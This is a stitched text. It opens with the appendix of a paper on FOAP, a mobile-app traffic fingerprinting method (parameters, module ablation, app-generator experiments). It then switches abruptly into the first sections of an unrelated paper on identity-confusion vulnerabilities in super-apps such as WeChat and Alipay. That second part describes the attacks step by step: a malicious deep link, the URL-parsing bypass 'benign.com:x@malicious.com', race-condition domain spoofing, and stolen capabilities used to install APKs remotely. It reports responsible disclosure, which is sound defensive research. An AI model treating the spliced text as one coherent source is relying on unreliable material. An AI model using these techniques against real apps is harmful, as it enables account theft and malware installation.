τmin {2s,5s,10s,20s,50s} 20s
δ {0.1,0.2, . . . ,1.9,2} 0.5
Smin {0.05,0.1, . . . ,0.45,0.5} 0.1
Smax {0.05,0.1, . . . ,0.55,0.6} 0.25
T {2s,10s,20s,50s,100s} 20s

B Effect of Different Modules

To analyze how different modules of FOAP work together in
favor of performance promotion in the open-world setting, we
present a more fine-grained analysis on the effects of different
modules. We particularly focus on traffic filtering and bilevel
recognition model, since they are identified as modules most
relevant to false positives and false negatives through empiri-
cal observation. Figure 9 presents a boxplot that reports the
performance of FOAP with/without these modules. Removing
traffic filtering, FOAP-F suffers a decline of average preci-
sion from 0.945 to 0.714, indicating traffic filtering indeed
represses false positives. Removing the bilevel recognition
model, the average recall of FOAP-B drops from 0.897 to
0.748, indicating the bilevel recognition model effectively
reduces false negatives. Removing both modules, FOAP-F-B
achieves the lowest average F1-Score 0.779.

Figure 9: Effect of different
modules of FOAP.

Figure 10: The distribution of
app flow similarity (AFS).

C Impact of Automatic App Generator

Automatic app generators enable app development using
wizard-like web interfaces to customize apps’ UI without

writing codes. As a result, apps developed on top of the same
generators may exhibit very similar network behaviors. We
investigate how FOAP performs in face of these apps.
• Experimental Setup. Because apps in our dataset are the
most popular apps, few of them are developed on top of auto-
matic app generators. To explore the impact of the automatic
code generator, we generate 10×3 apps using three popular
online automatic app generators, including AppYet, Mobin-
cube, and AppsGeyser 5, to analyze their network behaviors.
For each app, we employ Monkey to generate 50 traffic in-
stances. FOAP still works in the open-world setting. For each
automatically generated app, we choose nI = 9+10 apps as
negative class in the testing. These apps include other 9 apps
generated by the same generator and 10 randomly chosen
apps from our 1000 popular app dataset.
• Result. As shown in Table 11, The FPR of FOAP for
apps generated by the same generator (aka. same family)
is higher than that for other apps. It implies FOAP will gener-
ate more false positives when distinguishing network flows
from apps generated by the same generator. To explore the
root-cause why false positives increase, we propose a novel
metric, named app flow similarity (AFS). For network flows
generated by an app X, we denote by S̄l(X,A) their average
local similarity with A. The AFS between two apps A and B
is defined by AFS(A,B) =

√
S̄l(A,B)·S̄l(B,A)√
S̄l(A,A)·S̄l(B,B)

. A smaller value

of AFS between two apps indicates they are less similar in
terms of network flows. AFS between an app and itself is
1. We measure pairwise AFS for apps in our dataset. Fig-
ure 10 shows an empirical distribution of AFS. The average
AFS between two arbitrary apps is 0.046 and 99.3% values
of AFS is smaller than 0.25, which implies two apps seldom
exhibit exactly identical network behaviors. For an app, we
also find its most similar app and record the maximum (MAX)
AFS. The average MAX AFS is 0.336 and 99.1% values of
MAX AFS is smaller than 0.75. As for apps generated by the
same generator, we find their average AFSes are all above 0.6,
which is significantly higher than that between two arbitrary
apps and even MAX AFS. By manually checking values of
AFS, we find some of them even approach 1, indicating it is
hard to distinguish network flows from these apps.

Table 11: Impact of automatic app generators.

Automatic
App Generator

FPR
(same family)

FPR
(other app)

Average
AFS

AppYet 1.74×10−1 5.30×10−3 0.726
Mobincube 2.80×10−1 1.99×10−3 0.612
AppsGeyser 4.03×10−1 1.07×10−3 0.668

5AppYet: http://www.appyet.com/, Mobincube: https://mobincube.com/,
AppsGeyser: https://appsgeyser.com/
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Abstract
Mobile applications (apps) often delegate their own functions
to other parties, which makes them become a super ecosystem
hosting these parties. Therefore, such mobile apps are being
called super-apps, and the delegated parties are subsequently
called sub-apps, behaving like “app-in-app”. Sub-apps not
only load (third-party) resources like a normal app, but also
have access to the privileged APIs provided by the super-app.
This leads to an important research question—determining
who can access these privileged APIs.

Real-world super-apps, according to our study, adopt three
types of identities—namely web domains, sub-app IDs, and
capabilities—to determine privileged API access. However,
existing identity checks of these three types are often not well
designed, leading to a disobey of the least privilege principle.
That is, the granted recipient of a privileged API is broader
than intended, thus defined as an “identity confusion” in this
paper. To the best of our knowledge, no prior works have
studied this type of identity confusion vulnerability.

In this paper, we perform the first systematic study of iden-
tity confusion in real-world app-in-app ecosystems. We find
that confusions of the aforementioned three types of identities
are widespread among all 47 studied super-apps. More impor-
tantly, such confusions lead to severe consequences such as
manipulating users’ financial accounts and installing malware
on a smartphone. We responsibly reported all of our findings
to developers of affected super-apps, and helped them to fix
their vulnerabilities.

1 Introduction
Nowadays, mobile applications (apps) bring significant con-
venience to people’s work and daily lives with rich func-
tionalities. To better serve existing users and keep attract-
ing new users, these mobile apps—or called super- or host-
apps—often delegate some of their functions to other parties
for content and functionality enrichment. These parties with
delegated functions are thus defined as “sub-apps”, and the

community developing and maintaining sub-apps is called a
mobile “app-in-app” ecosystem. Some “app-in-app” ecosys-
tems are extremely popular, e.g., WeChat [1] is hosting >3.8
million sub-apps, which is even more than the number (3.04
million) of Android apps in Google Play [7].

Figure 1 illustrates a typical architecture of an app-in-app
ecosystem based on our study of 47 popular super-apps. When
a user clicks a Universal Resource Identifier (URI) specifying
the super-app protocol and a sub-app ID, the super-app loads
the sub-app from its server into a WebView instance. After
that, there are two important steps for a sub-app. First, a sub-
app may load third-party resources with different identities
into web frames of the WebView [11] instance. For example,
Pagoda [8], a fruit franchise with 4,000+ stores nationwide in
China, loads a cloud provider’s domain for remote backup and
an advertisement provider domain. Second, a sub-app may
access privileged APIs provided by the super-app with sensi-
tive and powerful functionalities. Examples of these APIs are
access to saved user data (e.g., account, friends, and phone
number used in registration) and utilization of OS-level re-
sources reserved for the super-app (e.g., location, camera, and
microphone).

One crucial security research question in an app-in-app
ecosystem is determining who can call specific privileged
APIs provided by the super-app, given the existence of multi-
party resources and the access to privileged APIs in one sub-
app. This “who” question is an access control issue or, more
specifically, an identity check problem. That is, the super-
app needs to check the identity of a runtime API invocation
and determine whether the invocation is legitimate. While
the problem is intuitively simple, the challenge is that many
different definitions of identities exist in a super-app. The
first is the domain name, one crucial element in the web
origin triple because WebView is used to render sub-apps.
The second type of identity is a sub-app ID assigned by the
super-app because the super-app loads sub-apps from their
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servers hosting the sub-app code. The last is a secret, called a
capability, shared between a super-app and a sub-app.

Existing super-apps often adopt one of the aforementioned
three types of identities to check privileged API invocation.
However, none of these identities, at least those adopted by
existing super-apps, are atomic, thus disobeying the least priv-
ilege principle. For example, a privileged web domain may be
embedded in an unprivileged sub-app; a sub-app with a priv-
ileged sub-app ID as the identity may contain unprivileged,
third-party web domains; similarly, a privileged capability
may be obtained by an unprivileged sub-app as well. That is,
when a super-app grants a privilege to identity in an app-in-
app ecosystem, the intended recipient can be broader than, or
different from, the identity that actually represents. Therefore,
an adversary can often disguise her own identity to be one
with the granted permission, confusing the super-app that per-
forms the identity check. Such a vulnerability, if it exists in
an app-in-app ecosystem, is defined as identity confusion in
the paper.

To the best of our knowledge, no prior works have studied
identity confusion vulnerabilities in the app-in-app ecosys-
tem. There are two categories of prior works on WebView
vulnerabilities. The first category [21,31,33,36] assumes that
WebView as a whole is untrusted, which needs to be isolated
from the host app. In such a threat model, identities are clearly
defined and separated, i.e., WebView vs. the host app. The
second category [35, 45, 48, 52] explores vulnerabilities in
WebView itself, e.g., URL display of WebView content. In
this threat model, identities are clearly defined as web origins.
Fundamentally, our identity confusion vulnerability is due to
the introduction of sub-apps, which overlaps with the classic
origin identity introduced by WebView from the Web.

In this paper, we perform the first systematic study of iden-
tity confusion vulnerabilities and their exploits in the real-
world app-in-app ecosystems. The adoption of different iden-
tities naturally categorizes vulnerabilities into three types:

● Domain name confusion. Such confusion could arise
when a malicious sub-app with an unprivileged app ID
loads a privileged web domain, and the super-app only
checks the domain name for identity. Particularly, we find
that there exist race conditions among rendering the web
content, obtaining the domain name, and checking the
domain name. When the rendered content has a different
domain name from what is being checked, domain name
confusion arises.
● App ID confusion. Such confusion could arise when an

unprivileged web domain resides in a privileged sub-app,
and the super-app only checks the app ID. We design a
mimicry attack to achieve this purpose in loading mali-
cious URLs into a privileged sub-app. The attack first
abuses webpage redirections of some sub-apps and then
exploits flawed URI loading checks of super-apps, e.g.,
string matching that checks suffixes and insecure regular
expressions.
● Capability confusion. Such capability confusion may

come from either a malicious app ID or a malicious do-
main name with a privileged capability. We design leak
attacks to steal or obtain the capability that can be used to
invoke privileged APIs. Specifically, we find that the APIs
to obtain capabilities can often be reverse-engineered and
called without any protections against adversaries.

Our systematic study involves 47 high-profile super-apps
collected from three leading app stores and ranked by their
popularity. Our results show that they (both the Android and
iOS versions) are all vulnerable to at least one type of identity
confusion attack despite the diversity in identity checks. We
then explore and study the further consequences of identity
confusion beyond breaking identity checks. We find that such
confusion vulnerabilities lead to consequences such as phish-
ing, privacy leaks, and privilege escalation. Specifically, 31
are further vulnerable to phishing, 35 privacy leaks, and 38
privilege escalations. We report all the vulnerabilities to cor-
responding super-app developers and help them with the fix.
As an example, we have a regular monthly meeting schedule
with Alipay for half a year before fixing the vulnerability.

We summarize the contributions of this paper as below:
● We conduct the first systematic study on identity confu-

sion vulnerabilities in super-apps with app-in-app ecosys-
tems by analyzing their design and implementation flaws.
We find three types of confusion vulnerabilities: app ID,
domain name, and capability.
● We collect and analyze 47 popular real-world super-apps,

which exceed 46 billion downloads in total. Our analysis
confirms that they are all vulnerable to different types
of identity confusion vulnerabilities. Such vulnerabilities
can further lead to severe consequences, such as stealing
bank accounts and remote installation of malicious apps.
● We thoroughly study why such identity confusion vul-

nerabilities exist and propose corresponding mitigation
strategies based on the causes.
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Table 1: Top 15 popular super-apps and their sub-app markets.
"-" means there are no public statistics, and it is hard to esti-
mate the number of sub-apps in the corresponding market.

Super-app Name Category Downloads Market Size
TikTok Social 18.8B+ -
WeChat Communication 2.1B+ 3.8M+
Snapchat Social 1B+ 6+
Kuaishou Social 780M+ -

Alipay Finance 690M+ 2M+
Line Communication 500M+ -

UC Browser Communication 500M+ 1K+
Baidu Tools 410M 420K+

JinRiTouTiao News & Magazines 220M+ -
Microsoft Teams Business 100M+ 911+

Grab Maps & Navigation 100M+ -
VK Social 100M+ 219+

Paytm Finance 100M+ 176+
Go-Jek Travel & Local 50M+ 15+

UnionPay Finance 39.7M+ 705+

2 App-in-app Ecosystem: A Survey Study

In this section, we present a brief survey study of existing
app-in-app ecosystems. The purpose here is to present how
popular such ecosystems are, what structures (including iden-
tity checks) super-apps use, and how sub-apps are running
atop super-apps.

2.1 Popular Super-app Runtimes

In this subsection, we perform a survey study to crawl and
analyze popular app-in-app ecosystems. Our methodology is
semi-automatic with three steps. First, we randomly crawl
6,000 popular Android apps from two leading Android app
stores (i.e., Google Play and WanDouJia [10]) and automati-
cally analyze these apps for the presence of WebViews. Sec-
ond, if WebViews are present, we manually analyze these
apps, e.g., search them in online engines, to understand
whether they support any sub-apps. Lastly, we also study
other markets, e.g., iOS’s App Store, to find the counterpart
super-app and the ecosystem.

Table 1 shows a list of the top 15 popular super-apps ranked
by total downloads according to our survey study. These super-
apps are diversified, which ranges from communication and
social to finance and business and spans across different coun-
tries, such as WeChat (China), Line (Korea) [4], and Microsoft
Teams (U.S.) [5]. The number of sub-apps in each ecosystem
also varies from several million to a few hundred. Note that
the number value for some super-apps is “unknown” (marked
as “-”) because we cannot find a reliable source to estimate
the market size, and the super-app disallows broader sub-app
crawling.

We further analyze these super-apps and summarize them
into a typical structure of an app-in-app ecosystem in Figure 2.
A super-app provides a runtime for sub-apps with three major
components: (i) an embedded browser instance, (ii) runtime
privileged APIs, and (iii) a web-to-mobile bridge.

Super-app
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Control

Sub-app 
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runtime APIs

domain
capability

Market

Super-app Server

Worker WebView
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Developer Server
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Other 
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Figure 2: A Typical Structure of App-in-app Ecosystem

First, the embedded browser instance (e.g., WebView1 for
Android and WKWebView [12] for iOS) provides an isolated
environment for a sub-app. Such an instance often includes a
customized worker to load and execute pre-defined sub-app
code. Second, runtime privileged APIs provide access to vari-
ous resources, such as user data and network access, which
are sometimes unique to the super-app. Third, the web-to-
mobile bridge connects sub-app code with the native Java
code and, most importantly, enforces identity checks for the
sub-app. While details of the bridge vary among different
super-apps, a typical implementation encapsulates all privi-
leged API invocations from the web side into a message sent
to the mobile side via a dispatch method registered through
“addJavaScriptInterface”. The mobile side parses the received
message, finds the corresponding APIs, checks identities, and
then invokes them if the check passes.

2.2 Typical Sub-app Programming Model and Lifecycle

This subsection describes the general programming model
of sub-apps running atop super-app runtimes as described
in Section 2.1. Such sub-apps are usually programmed as
mini web applications with JavaScript, HTML, and CSS and
have possible access to privileged APIs via the web-to-mobile
bridge. Sub-apps not only are hosted on a super-app market,
but also fetch content from their own or third-party servers.

Now we describe a typical lifecycle of a sub-app when be-
ing loaded by a super-app. First, an end user will either click
on or scan a QR code [2] with a deep link [3] pointing to a sub-

1Without loss of generality, we use WebView to refer to such embedded
web browsers in the paper.
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Table 2: The process of identity checks in the top 15 super-
apps. D or A means the whitelist of Domain or AppID and
their subscripts sub or super mean who provides them. Sym-
bol→ means the check happens in the Server or Native side.

Super-app Identifier Check Policy Location

TikTok Domain Endswith(targetURL, {d∣∀d∈Dsub}) Loading
AppID appID∈Asuper API access

WeChat
Domain targetURL→ (Server,Dsub) Loading

targetURL→ Server API access
AppID appID→ Server API access
Capability Equal(Scaller ,Ssuper) API access

Alipay
Domain RegMatch(targetURL, {d∣∀d∈Dsub]}) Loading

RegMatch(callerURL,{d∣∀d∈Dsuper}) API access

AppID appID∈Asuper API access
appID→ Server API access

UC Browser
Domain RegMatch(targetURL,{d∣∀d∈Dsub}) Loading

RegMatch(callerURL,{d∣∀d∈Dsuper}) API access

AppID appID∈Asuper API access
appID→ Server API access

Baidu Domain Endswith(targetURL,{d∣∀d∈Dsub}) Loading
AppID appID→ Server API access

JinRiTouTiao Domain Endswith(targetURL, {d∣∀d∈Dsub}) Loading
AppID appID∈Asuper API access

Teams Domain Equal(targetURL,{d∣∀d∈Dsub}) Loading
RegMatch(callerURL,{d∣∀d∈Dsuper}) API access

VK AppID appID→ Server API access

Go-Jek Domain Equal(targetURL,{d∣∀d∈Dsub}) Loading
Equal(callerURL,{d∣∀d∈Dsuper}) API access

UnionPay Domain targetURL→ (Native,Dsub) Loading
Capability Equal(Scaller ,Ssuper) API access

app of a super-app’s app-in-app ecosystem. Second, the super-
app will find the sub-app based on the app ID embedded in the
deep link and then download a bundle of web content from
the super-app’s market. Such downloaded content is often
rendered in a customized worker provided by the WebView.
Third, the sub-app, e.g., these running in a worker, will further
fetch contents from its own or third-party servers and render
them in a WebView instance. Lastly, the sub-app’s code, in-
cluding those downloaded from the super-app’s market, its
own server, and third-party server, may access privileged APIs
via the web-to-mobile bridge.

Note that there are two locations where an identity check
can happen. First, when web contents are fetched from sub-
app or third-party servers and then rendered in a WebView
instance, the super-app will check the identity of fetched
contents. Second, when a WebView instance accesses privi-
leged APIs provided by the super-app, the super-app will also
check whether the access is allowed based on the WebView
instance’s identity.

2.3 Existing Identity Checks

In this subsection, we perform a survey study on how identity
checks in existing super-apps work. Our methodology is as
follows. We manually review all the 15 super-app’s source
code in Table 1 with the help of static analysis tools and
explore the super-app using dynamic analysis. Our purpose
is to understand an important question on what identity and
corresponding checking policy are used in real-world super-
apps.

Let us summarize all identities and their checking policies
found in these super-apps below:
● Domain Name. A domain name, as part of web origin,

represents a server and contents delivered from the server.
We find two main types of domain name based identity
checks: (i) strict whitelist and (ii) vague matching. First,
some super-apps use a strict method to exactly match a
whitelist of web domains. Second, some super-apps adopt
a vague matching method, e.g., an Endswith to check the
suffix of a web domain and a regular expression to match
domains with certain patterns.
● App ID. A sub-app ID (or called AppID for short) is

an identifier assigned by a super-app to the sub-app. The
checking of AppID is usually strict based on a whitelist,
and the checking could be performed at either the super-
app (native and Java) or the remote server.
● Capability. A capability is a secret issued by either a

super-app or a server and checked based on exact match.
There are two ways of obtaining a capability in existing
super-apps. First, a sub-app obtains a capability on the
mobile side via a hidden runtime API. Second, a sub-
app obtains a capability from its cloud after a two-way
authentication.

Then, let us describe details of our survey study results, i.e.,
how these identity checks exist in real-world super-apps, in
Table 2. First, most super-apps adopt more than one identity in
the check to ensure security. Second, most super-apps adopt
identity checks at both the content loading and the API access
to ensure that the loaded contents are correct and the APIs,
especially privileged ones, are accessed with a correct identity.
Lastly, identity check policies are very diversified from one
super-app to another, making the checks fragmented and local
to a specific super-app.

2.4 Super-app Runtime API Analysis

In this subsection, we perform a study on runtime APIs pro-
vided by super-apps. The challenges are three-fold. First,
these APIs are different from one super-app to another. That
is, we need to analyze each super-app. Second, many APIs are
hidden, i.e., undocumented, and cannot be discovered by read-
ing documents. Lastly, many APIs are not directly invoked
but triggered by a web-to-mobile message via an API pool.

Our detailed steps in discovering these APIs contain both
static and dynamic analysis. First, we analyze super-apps
statically to find direct hidden API invocations via standard
WebView interfaces or event handlers (e.g., methods anno-
tated by “@JavaScriptInterface” or “onConsoleMessage()”).
Specifically, we conduct a static control-flow analysis by uti-
lizing both “addJavaScriptInterface” and WebView callbacks
as entries. Then, we identify all container objects (e.g., maps,
arrays, and sets) during static analysis as potential API pools.

Second, we use dynamic instrumentation to discover in-
direct hidden API calls. Specifically, we hook statically-
identified container objects (e.g., via Xposed [13]) and then
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Figure 3: API statistics among top 15 super-apps.

generate test cases to trigger documented public runtime APIs.
If these container objects are accessed during a public API
call, we will consider them as API pools and read all the
stored APIs from the pool. Next, if a hidden API is protected
by manually verified identity checks, we will consider it as a
privileged hidden API.

Figure 3 illustrates the results of the top 15 super-apps,
which show that about 50% of APIs are not well-documented.
We also manually sample 200 hidden APIs and check whether
they are privileged. Our analysis results show that at least
80% of them, i.e., 160 APIs, are privileged and should not
be used by arbitrary sub-apps. For example, a hidden API—
named “rpc"—can be used to access the super-app’s cloud-
side interfaces, like manipulating user accounts. For another
example, a hidden API called "getUsageRecord" in TikTok
can be abused by sub-apps to monitor users’ actions on other
sub-apps.

3 Identity Confusion: An Overview
In this section, we give an overview of identity confusion
vulnerability by presenting the definition of identity confusion,
a motivating example, and our threat model.

3.1 Definition

An identity confusion is a type of vulnerability where a per-
mission (e.g., the access to a privileged API and the loading
of web content) is granted to an identity that is broader than
(or different from) the intended target, leading to a confusion.
An identity confusion is often a disobey of the least privi-
lege principle. In an app-in-app ecosystem, identity confusion
arises when multiple definitions of identities co-exist for a
given entity, such as a WebView instance. For example, say
a permission is granted to an AppID. Then, an identity con-
fusion happens when the sub-app with the AppID is tricked
into loading contents from a malicious web domain. For an-
other example, if a permission is granted to a web domain,

contents from the web domain may be loaded in a malicious
sub-app. That is, one notable reason for such confusion is
that web content (loaded in sub-apps) is highly flexible and
potentially changes every moment, e.g., web navigation and
even sub-app redirection. Thus, it is challenging for the super-
app layer to obtain the correct identities, especially when a
change happens in the sub-app layer.

Oftentimes, an identity confusion needs to be combined
with another vulnerability, e.g., an incorrect domain check
or a race condition, for exploitation. Let us take a look at
the aforementioned two examples in the previous paragraph
again. When the super-app has an incorrect domain check,
the adversary can trick a sub-app to load contents from a ma-
licious domain. Similarly, when there exists a race condition
in checking domain names, the contents loaded in a malicious
sub-app can be recognized as from a permitted web domain.
Once identity confusion is exploited, the consequences could
be severe because identities are often associated with high
privileges, e.g., these APIs accessing user data.

To summarize, a remote adversary (e.g., malicious web
content and sub-app provider) with unprivileged identities
can disguise own identities, confuse access control enforced
in super-apps, and finally call privileged runtime APIs. This
can be done by leveraging the privilege assignment and man-
agement problem and the asynchronous design between the
sub-app and mobile layers. We define such a vulnerability as
identity confusion.

3.2 A Motivating Example

In this subsection, we describe a motivating example of a
super-app WeChat and its sub-app Pingduoduo2 to illustrate
identity confusion vulnerability, which eventually leads to
privilege escalation attacks, such as arbitrary APK download
and installation on the Android platform.

Let us describe the steps of the end-to-end attack as shown
in Figure 4. The attack has 12 detailed steps that can be
grouped into three major phases: (i) loading contents in the
customized worker, (ii) loading contents in the WebView
instance, and (iii) downloading malicious apks.

First, let us look at the first phase in loading con-
tents into the customized worker. In Step (0a), a vic-
tim is tricked into clicking on a malicious deep link
such as weixin://encoded(pingduoduo-appID,path,
malicious-url). WeChat will recognize the deep link for
preparing the runtime for Pingduoduo’s sub-app in Step (0b).
Starting from Step (1a), WeChat downloads and executes
Pingduoduo’s sub-app code from its own market. Next, in
Step (1b), Pingduoduo sends the request for loading the URL
embedded in the malicious deep link. Note that the original
design of this dynamic URL request is for convenient switches
between different online shops maintained by Pingduoduo.
This request is hooked by WeChat, which will further send

2Pingduoduo is a popular online customer-to-manufacturer market man-
aging over 8.6 million virtual shops.
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Figure 4: Motivating example for a remote attacker to exploit
WeChat app-in-app ecosystem.

the URL to its own server for security check in Step (1c).
However, the design and implementation to check the URL
are flawed, which leads to our first identity confusion vulner-
ability.

Here is a description of the flaw. The security check is
flawed because the server-side URL parser cannot distinguish
the username and the hostname of a common URI. For exam-
ple, a URL like https://benign.com:x@malicious.com
will be considered benign.com. Therefore, in Step (1d), the
WeChat server grants permission for loading this URL.

Second, let us look at the second phase in loading contents
into a WebView instance. Because the WeChat obtains a green
light for loading the malicious URL, in Step (2a), WebChat
loads the contents from malicious.com to Pingduoduo’s
runtime. At this moment, the loaded malicious contents still
have no high privileges, because they are isolated in a We-
bView instance. Although the AppID of Pingduoduo has a
high privilege, the access to high privileged APIs still needs a
capability, i.e., a secret token.

Here comes our second flaw in the ecosystem. The ca-
pability is obtained from a Web service API provided by
Pingduoduo, which does not have any access control. That is,
any client can call this API to obtain a capability for a higher
privilege at WeChat. Specifically, in Step (2b), the malicious
contents loaded in the WebView instance can request for a
capability from Pingduoduo, which will negotiate with the
WeChat server in Step (2c) and then deliver the capability to
the WebView in Step (2d).

Third, let us describe the third phase, i.e., downloading
and installing a malicious APK. In Step (3a), the malicious
contents invoke a privileged API with the obtained capability.
Particularly, we use addDownloadTask(), a hidden, undocu-
mented API, as an example in Step (3b), which can download
and install any APKs on the Android platform.

Note that there exist two types of identity confusion vul-
nerability for the invocation of addDownloadTask(), which
are AppID and capability confusions, because the API in-
vocation requires the checking of both the AppID and the
capability. The former AppID confusion happens when a ma-
licious domain is loaded in a sub-app with an authenticated
AppID. This vulnerability has to be combined with the incor-
rect policy checking, i.e., Flaw 1 between Steps (1c) and (1d).
The latter capability confusion happens when a malicious
domain from the correct sub-app can request for a capability
from the server, i.e., Flaw 2 between Steps (2a) and (2b), and
the requested capability is accepted by WeChat, i.e., Flaw 3
between Steps (3a) and (3b).

3.3 Threat Model

In this subsection, we describe the threat model adopted in
the paper. We assume that the super-app and the underlying
mobile Operating System (OS) are benign and with no ma-
licious mobile apps installed. Specifically, we consider the
following two scenarios:

● Vulnerable Sub-app. A vulnerable sub-app is benign
code running atop a super-app with an identity confusion
vulnerability (e.g., an AppID or a capability confusion).
The adversary in this scenario is a malicious web domain,
which has the capability to send a victim user a malicious,
phishing deep link pointing to the vulnerable sub-app
inside a super-app.
● Malicious Sub-app. A malicious sub-app is code with

malicious intent and being crafted by an adversary. The
adversary in this scenario is a malicious sub-app devel-
oper, which has the capability to upload malicious content
to the market of the super-app and trigger an identity con-
fusion vulnerability (e.g., a domain name confusion) of
the super-app.

Note that the former scenario—a vulnerable sub-app case—
is considered as a stronger threat model compared with the
latter. The reasons are two-fold. First, although both threat
models need that a victim user clicks on a malicious deep
link, the link itself is pointing to a recognized, benign sub-
app in the former scenario, but an unrecognized, potentially-
malicious sub-app in the latter. Second, the threat model of
the malicious sub-app requires that the adversary uploads
the malicious code (potentially obfuscated) to the super-app
market, which boosts the chance of being detected.

4 Identity Confusion: A Taxonomy Study
In this section, we perform a taxonomy study to break down
existing identity confusions into three major types: domain
name, AppID and capability-based.

4.1 Domain Name Confusion

A domain name confusion is that the web domain that invokes
a privileged API from WebView is different from the domain
that a super-app obtains and checks for identity. Specifically,
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we classify domain name confusions into two types: timing-
based (due to race condition) and frame-based (due to the
existence of multiple domains). Table 3 shows the high-level
results of whether event handlers of different Android classes
are vulnerable to these two types of timing and frame-based
race conditions. If super-apps use any of these tested Web-
View APIs and callbacks to implement domain-based identity
checks are all vulnerable. We now describe the details.

4.1.1 Type 1: Timing-based Confusion

The first type—called timing-based—is because of a race
condition between different threads of WebView and super-
app from a high level. That is, as a simplification of the race
condition, when a WebView thread invokes a privileged API
and passes the control to a super-app thread, the identity is
from say malicious.com; but when another super-app thread
checks the identity, the identity changes to say privileged.
com due to redirection, leading to confusion.

We now describe the details. Before that, we need to explain
different threads that reside in WebView instances and super-
apps.
● WebView Threads. A WebView instance usually has

two types of threads, one used for rendering web contents
(called a render thread) and the other used for loading web
contents (called a browser thread).
● Super-app Threads. A super-app may have three types

of threads: (i) a thread that obtains the WebView’s do-
main name as an identity, (ii) a thread that checks the
obtained identity and decides whether to allow the exe-
cution, and (iii) a thread that dispatches privileged API
calls in an asynchronous queue. Note that the existence
of these three types of threads depends on the design and
implementation of super-apps.

Next, we illustrate two case studies.

Case 1: Race between WebView’s rendering and loading
threads. This race condition is because WebView’s render-
ing and loading threads may be dealing with content from
different web domains. Specifically, on the WebView end,
when the loading thread starts to load contents from a new
URL after redirection, the rendering thread may still execute
contents from the old URL. Then, on the super-app end, there
are two threads, one that obtains a new web domain after redi-
rection from the loading thread of WebView as an identity,
and the other that checks the new domain name but allows a
privileged API call from the old domain.

There are two variations of this race condition depending
on the initiation of the URL loading. Figure 5 shows one
variation. First, the JavaScript from malicious.com running
in WebView’s rendering thread starts to redirect the webpage
to privileged.com. Second, the redirection is sent to the
loading thread, which starts to load privileged.com and
triggers the callback (e.g., onPageStarted()) registered by
the super-app. Third, the corresponding super-app thread trig-
gered by the callback obtains the new domain name as the
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Figure 5: [Domain Name Confusion: Type 1] An illustration
of timing-based confusion using onPageStarted API due
to race conditions between WebView’s Rendering (called
Render) and Loading (called Browser) Threads.

identity. Lastly, the same JavaScript from malicious.com
invokes a privileged API call, but the identity has already
become privileged.com.

Next, Figure 6 shows another variation. First, a thread of
the super-app calls loadUrl(), which instructs the browser
thread to load an URL (privileged.com) and returns the
new domain name as the identity. Second, the JavaScript code
from the old URL (malicious.com) invokes a privileged
API, which is checked by a thread of the super-app but consid-
ered as from privileged.com. This leads to domain name
confusion.

It is worth noting that many WebView APIs and callbacks
are either interacting with or triggered by the browser thread
instead of the render thread. That is, the race condition is very
common among many WebView APIs. To understand how
prevalent such race conditions are, we collect all the Web-
View APIs from Android’s documentation, and then perform
a small-scale study on WebView APIs that return URLs and
WebView callbacks that have URLs as a parameter. Specifi-
cally, we first either register a callback and then redirect the
webpage to another URL. Then, we measure whether there
exists inconsistency between the callback and the webpage’s
URL from two perspectives: (1) whether the old webpage can
still execute JavaScript code but the URL has been updated
to the new one and (2) whether the new webpage can execute
JavaScript code but the URL is still the old one.

Here are the detailed steps in measuring the aforementioned
two points. We create a webpage that has an endless loop for
printing its URL together with the timestamp (i.e., Tjs), and let
the WebView’s callbacks print its own URL (i.e., URLcb) with
the timestamp (i.e., Tcb). Then, for (1), we measure whether
max(Tjs) is larger than Tcb and URLcb is the new webpage’s;
for (2), we measure whether min(Tjs) is smaller than Tcb and
URLcb is the old webpage’s.
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Table 3: The domain name confusion in using WebView’s event handlers to obtain identity information. We measure them at
time and frame dimensions.

Class Name Method Signature of Event Handlers Domain Name Confusion
Timing-based Frame-based

Getter Method:

WebView getOriginalUrl () ✔ ✔
getUrl () ✔ ✔

Callback Method:

WebViewClient

doUpdateVisitedHistory (WebView view, String url, boolean isReload) ✔ ✔
onLoadResource (WebView view, String url) ✔
onPageCommitVisible (WebView view, String url) ✔ ✔
onPageFinished (WebView view, String url) ✔ ✔
onPageStarted (WebView view, String url, Bitmap favicon) ✔ ✔
onReceivedClientCertRequest (WebView view, ClientCertRequest request) ✔ ✔
onReceivedError (WebView view, WebResourceRequest request, WebResourceError error) ✔
onReceivedHttpAuthRequest (WebView view, HttpAuthHandler handler, String host, String realm) ✔
onReceivedHttpError (WebView view, WebResourceRequest request, WebResourceResponse errorResponse) ✔
shouldInterceptRequest (WebView view, WebResourceRequest request) ✔
shouldOverrideUrlLoading (WebView view, WebResourceRequest request) ✔

WebChromeClient onReceivedTouchIconUrl (WebView view, String url, boolean precomposed) ✔ ✔
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Figure 6: [Domain Name Confusion: Type 1] An illustration
of timing-based confusion using loadUrl() API due to race
conditions between WebView’s Rendering (called Render)
and Loading (called Browser) Threads. Although GET and
CHECK threads are separate in the figure, they can reside in
the same one.

Case 2: Race between super-app’s dispatch and check-
ing threads. This race condition is summarized as follows.
When super-app’s dispatch thread receives a privileged API
call, it does not check the identity but instead dispatches to an
asynchronous queue. Then, when the checking thread fetches
the API call from the queue and checks the identity, the iden-
tity obtained from the WebView is out of date.

Figure 7 illustrates such a race condition. First, the
JavaScript from malicious.com in the WebView render
thread calls a privileged runtime API. Next, the WebView
thread passes the call to a super-app thread. Then, the super-
app thread dispatches the API call to a queue without check-
ing its identity. Next, the JavaScript in the WebView’s render
thread redirects the webpage to privileged.com. Lastly,
when another super-app thread fetches the API call from the
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Figure 7: [Domain Name Confusion: Type 1] An illustration
of timing-based confusion due to race conditions between
super-app’s dispatching (called Dispatch) and domain check-
ing (called Check) Threads.

queue and executes it with identity checks, the obtained iden-
tity is privileged.com instead of malicious.com.

Note that when the super-app finishes the execution of the
invoked API, the old webpage (i.e., malicious.com) can-
not obtain the return value because the webpage is now
privileged.com. Nevertheless, the attack still succeeds as
the privileged API finishes its execution. For example, the
addDownloadTask API can still download a malicious APK
and the mute API can silence the mobile phone.

4.1.2 Type 2: Frame-based Confusion

The second type—called frame-based—is that an iframe acts
on behalf of the top frame’s identity. The reason is that many
WebView’s APIs and callback functions only return the top
frame’s URL when multiple sub-frames are embedded as
part of a top frame. Then, no matter what identity checks
a super-app adopts and how it performs such checks, the
super-app can only obtain the top frame’s identity if such
APIs and callbacks are used. That is, an advertisement from
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malicious.com embedded as an iframe of privileged.com
can act on behalf of the latter.

We also perform a similar study as we do for timing-based
confusions to understand the spread of frame-based confu-
sions among WebView APIs and callbacks. Specifically, we
create a webpage with an iframe from a different web do-
main and run these APIs and callbacks to determine whether
they will return multiple domains. Table 3 shows the results:
